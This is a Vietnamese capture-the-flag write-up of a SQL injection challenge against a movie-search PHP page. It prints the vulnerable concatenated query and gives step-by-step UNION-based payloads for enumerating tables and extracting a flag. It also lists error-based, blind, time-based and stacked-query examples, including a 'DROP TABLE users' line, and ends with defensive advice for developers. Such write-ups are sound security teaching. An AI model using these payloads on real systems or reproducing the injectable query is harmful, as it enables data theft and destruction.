Misc
Medium
100 points

oscar-list

Recuite 2025 - HCMUS
6 tháng 10, 2025
Recuite 2025 - HCMUS
Misc

Oscar list - Extract Flag từ Bảng Secret

Tổng Quan

Challenge này mô phỏng một ứng dụng web quản lý danh sách phim với tính năng tìm kiếm. Người dùng có thể nhập tên phim để tìm kiếm, tuy nhiên do xử lý đầu vào không đúng cách đã tạo ra lỗ hổng SQL Injection kinh điển. Thông qua kỹ thuật UNION-based, chúng ta có thể truy vấn dữ liệu từ các bảng khác trong cơ sở dữ liệu, bao gồm cả bảng secret chứa flag.

Thông Tin Challenge

  • Danh mục: Web Security
  • Độ khó: Trung bình
  • Điểm: 200
  • Lỗ hổng: SQL Injection (UNION-based)
  • Kỹ năng: SQL, Web Exploitation, Database Enumeration

Phân Tích Lỗ Hổng

Source Code

Đây là đoạn code PHP có lỗ hổng:

<?php
if (isset($_GET['nameInput'])) {
    $name = $_GET['nameInput'];  // Input từ user không được xử lý

    $query = "SELECT * FROM movies WHERE name LIKE '%$name%'";  // ⚠️ Ghép trực tiếp vào query!

    $result = mysqli_query($conn, $query);

    while ($row = mysqli_fetch_assoc($result)) {
        echo $row['name'] . "<br>";
    }
}
?>

Vấn Đề

  1. Input không được sanitize: Dữ liệu từ user được sử dụng trực tiếp trong query SQL
  2. String concatenation: Sử dụng phép nối chuỗi đơn giản để xây dựng query
  3. Không sử dụng prepared statements: Không tách biệt data và SQL code
  4. Không validate input: Không kiểm tra tính hợp lệ của dữ liệu đầu vào

Nguy Cơ

Kẻ tấn công có thể:

  • Truy vấn dữ liệu từ các bảng khác trong database
  • Bypass authentication mechanisms
  • Extract sensitive information (passwords, flags, user data)
  • Modify hoặc delete database records
  • Execute administrative operations

Khai Thác

Cách Hoạt Động

SQL Injection UNION hoạt động bằng cách:

  1. Kết thúc query gốc bằng cách chèn ký tự đặc biệt
  2. Sử dụng UNION để kết hợp kết quả từ query gốc với query mới
  3. Trích xuất dữ liệu từ các bảng khác

Bước 1: Xác Định Số Cột

Trước tiên cần tìm số lượng cột của bảng gốc bằng cách sử dụng ORDER BY:

# Payload để tìm số cột
' ORDER BY 1--    # Không lỗi
' ORDER BY 2--    # Không lỗi
' ORDER BY 3--    # Không lỗi
' ORDER BY 4--    # Không lỗi
' ORDER BY 5--    # Không lỗi
' ORDER BY 6--    # Lỗi - chỉ có 5 cột

Bước 2: Xác Định Cột Hiển Thị

Tìm cột nào hiển thị kết quả trên giao diện:

# Payload để tìm cột hiển thị
' UNION SELECT 1,2,3,4,5--    # Thử tất cả các cột
' UNION SELECT NULL,2,NULL,4,NULL--    # Chỉ hiển thị cột 2 và 4

Giả sử cột 2 và 4 hiển thị kết quả trên giao diện.

Bước 3: Trích Xuất Thông Tin Database

Lấy tên database hiện tại:

# Payload để lấy tên database
' UNION SELECT 1,database(),3,4,5--

Bước 4: Liệt Kê Các Bảng

Trích xuất danh sách các bảng trong database:

# Payload để liệt kê bảng
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables--

Bước 5: Tìm Bảng Secret

Sau khi liệt kê các bảng, tìm bảng secret:

# Payload để tìm bảng secret
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_name='secret'--

Bước 6: Liệt Kê Cột Trong Bảng Secret

# Payload để liệt kê cột
' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='secret'--

Giả sử bảng secret có cột flag.

Bước 7: Extract Flag

Cuối cùng, extract flag từ bảng secret:

# Payload để lấy flag
' UNION SELECT NULL,flag,NULL,NULL,NULL FROM secret--

Bảng Giải Thích Các Kỹ Thuật SQL Injection

Kỹ thuậtMô tảVí dụ
Error-basedSử dụng lỗi SQL để extract thông tin' AND 1=0 UNION SELECT version()--
UNION-basedKết hợp kết quả từ nhiều SELECT' UNION SELECT 1,2,3--
Blind BooleanDựa trên TRUE/FALSE conditions' AND (SELECT SUBSTRING(flag,1,1))='B'--
Time-basedSử dụng SLEEP để suy đoán dữ liệu' AND IF(1=1, SLEEP(5), 0)--
Stacked QueriesThực thi nhiều câu lệnh cùng lúc'; DROP TABLE users;--

Flag

BPCTF{d0nt_4dd_4ll_7h3_f1lm5_1ba772ba5d3884b96427b4fb0ec4e8c6}

Bài Học Rút Ra

Cho Developers

  1. Luôn sử dụng prepared statements hoặc parameterized queries

    • Đây là cách phòng chống SQL Injection hiệu quả nhất
    • Tách biệt SQL code khỏi user data
  2. Validate input từ mọi nguồn

    • Client-side validation chỉ để UX, không phải bảo mật
    • Server-side validation là bắt buộc
  3. Principle of least privilege

    • Database user chỉ có quyền cần thiết
    • Không dùng root account cho web applications
  4. Error handling đúng cách

    • Không expose database errors cho user
    • Log errors để debug mà không tiết lộ thông tin nhạy cảm
  5. Sử dụng ORM hoặc query builders

    • Các framework hiện đại có built-in protection
    • Ví dụ: PDO trong PHP, SQLAlchemy trong Python
100
Points
Medium
Difficulty
Misc
Category